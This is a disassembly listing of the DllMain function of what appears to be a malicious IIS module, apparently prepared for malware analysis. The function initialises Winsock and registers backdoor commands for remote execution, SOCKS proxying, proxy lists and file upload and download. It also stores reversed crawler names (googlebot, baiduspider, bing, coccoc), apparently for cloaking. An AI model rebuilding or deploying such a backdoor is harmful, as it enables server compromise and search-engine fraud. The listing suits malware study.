Function at 0x100061e0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10032ca3
mov eax, dword fs:[0]
push eax
sub esp, 0x84
mov eax, dword [0x10046070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
sub eax, 0
je 0x10006b6f
sub eax, 1
jne 0x10006b75
push 0x16
push str.C:WindowsInitial.ini
mov ecx, 0x10047d78
call fcn.10007660
sub esp, 0x18
mov ecx, esp
push 7
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.DllMain
mov byte [ecx], 0
call fcn.10001c40
call fcn.10010d10
add esp, 0x18
push 0x10047b30
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10006b75
push 4
push str.EXEC
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], al
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x64
call fcn.10001b50
push 7
push str.EXECPRO
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 1
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x65
call fcn.10001b50
push 0xb
push str.SOCKS_HELLO
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x66
call fcn.10001b50
push 0xd
push str.SOCKS_CONNECT
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 3
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x67
call fcn.10001b50
push 0x10
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
push str.SOCKS_DISCONNECT
lea ecx, [ebp - 0x28]
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x68
call fcn.10001b50
push 0xa
push str.SOCKS_READ
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 5
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x69
call fcn.10001b50
push 0xd
push str.SOCKS_FORWARD
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 6
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x6a
call fcn.10001b50
push 0xc
push str.PROXY_ENABLE
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 7
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x6b
call fcn.10001b50
push 0xa
push str.PROXY_LIST
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
mov dword [ebp - 4], 8
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x6c
call fcn.10001b50
push 9
push str.PROXY_ADD
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 9
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x6d
call fcn.10001b50
push 9
push str.PROXY_DEL
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x6e
call fcn.10001b50
push 0xb
push str.PROXY_CLEAR
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xb
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x6f
call fcn.10001b50
push 0x11
push str.PROXY_CACHE_CLEAR
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [eax + 0x28], 0x70
mov dword [ebp - 4], 0xffffffff
call fcn.10001b50
push 0x10
push str.PROXY_CACHE_TIME
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x71
call fcn.10001b50
push 0xb
push str.PROXY_COUNT
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xe
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x72
call fcn.10001b50
push 0xb
push str.FILE_UPLOAD
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x73
call fcn.10001b50
push 0xd
push str.FILE_DOWNLOAD
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x74
call fcn.10001b50
mov dword [ebp - 0x18], 0
push 0xb
push str.IIS_VERSION
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.1000a610
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
mov dword [eax + 0x28], 0x75
call fcn.10001b50
push 0xb
push str.redipsudiab
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea edx, [ebp - 0x28]
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x58]
call fcn.100110f0
push eax
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0x13
push eax
mov ecx, 0x10047d60
call fcn.1000a510
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x58]
mov dword [eax + 0x28], 1
call fcn.10001b50
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
call fcn.10001b50
push 9
push str.tobelgoog
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea edx, [ebp - 0x28]
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x58]
call fcn.100110f0
push eax
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0x15
push eax
mov ecx, 0x10047d60
call fcn.1000a510
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x58]
mov dword [eax + 0x28], 1
call fcn.10001b50
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
call fcn.10001b50
push 0xffffffffffffffff
push 0
push 0x10047d00
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call fcn.10001ed0
mov dword [ebp - 4], 0x16
lea ebx, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
mov edi, 0x10047d00
mov eax, dword [0x10047d10]
mov ecx, edi
cmovae ebx, dword [ebp - 0x40]
cmp dword [0x10047d14], 0x10
push ebx
cmovae ecx, dword [0x10047d00]
add eax, ecx
cmp dword [0x10047d14], 0x10
push eax
cmovae edi, dword [0x10047d00]
lea ecx, [ebp - 0x8c]
push edi
call fcn.10009570
add esp, 0xc
cmp dword [ebp - 0x2c], 0x10
lea edi, [ebp - 0x40]
mov eax, dword [ebp - 0x30]
cmovae edi, dword [ebp - 0x40]
test eax, eax
je 0x100069cb
push eax
push 0x7c
push edi
call fcn.10018050
mov esi, eax
add esp, 0xc
test esi, esi
je 0x100069cb
sub esi, edi
jmp 0x100069ce
or esi, 0xffffffff
cmp esi, 0xffffffff
je 0x10006a1f
push esi
push 0
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x40]
call fcn.100071d0
push eax
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0x17
push eax
mov ecx, 0x10047d68
call fcn.1000a510
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x16
mov dword [eax + 0x28], 1
call fcn.10001b50
inc esi
lea ecx, [ebp - 0x40]
push esi
push 0
call fcn.10002030
jmp 0x100069a3
push 6
push str.elgoog
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea edx, [ebp - 0x28]
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x58]
call fcn.100110f0
push eax
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0x19
push eax
mov ecx, 0x10047d70
call fcn.1000a510
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x58]
mov dword [eax + 0x28], 1
call fcn.10001b50
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x16
call fcn.10001b50
push 4
push str.gnib
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.10001c40
lea edx, [ebp - 0x28]
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x58]
call fcn.100110f0
push eax
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0x1b
push eax
mov ecx, 0x10047d70
call fcn.1000a510
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x58]
mov dword [eax + 0x28], 1
call fcn.10001b50
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x16
call fcn.10001b50
push 6
push str.coccoc
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.10001c40
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x88]
call fcn.100110f0
push eax
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0x1d
push eax
mov ecx, 0x10047d70
call fcn.1000a510
mov eax, dword [ebp - 0x90]
lea ecx, [ebp - 0x88]
mov dword [eax + 0x28], 1
call fcn.10001b50
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x16
call fcn.10001b50
sub esp, 0xc
call fcn.10011730
add esp, 0xc
lea ecx, [ebp - 0x40]
call fcn.10001b50
jmp 0x10006b75
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001578e
mov esp, ebp
pop ebp
ret 0xc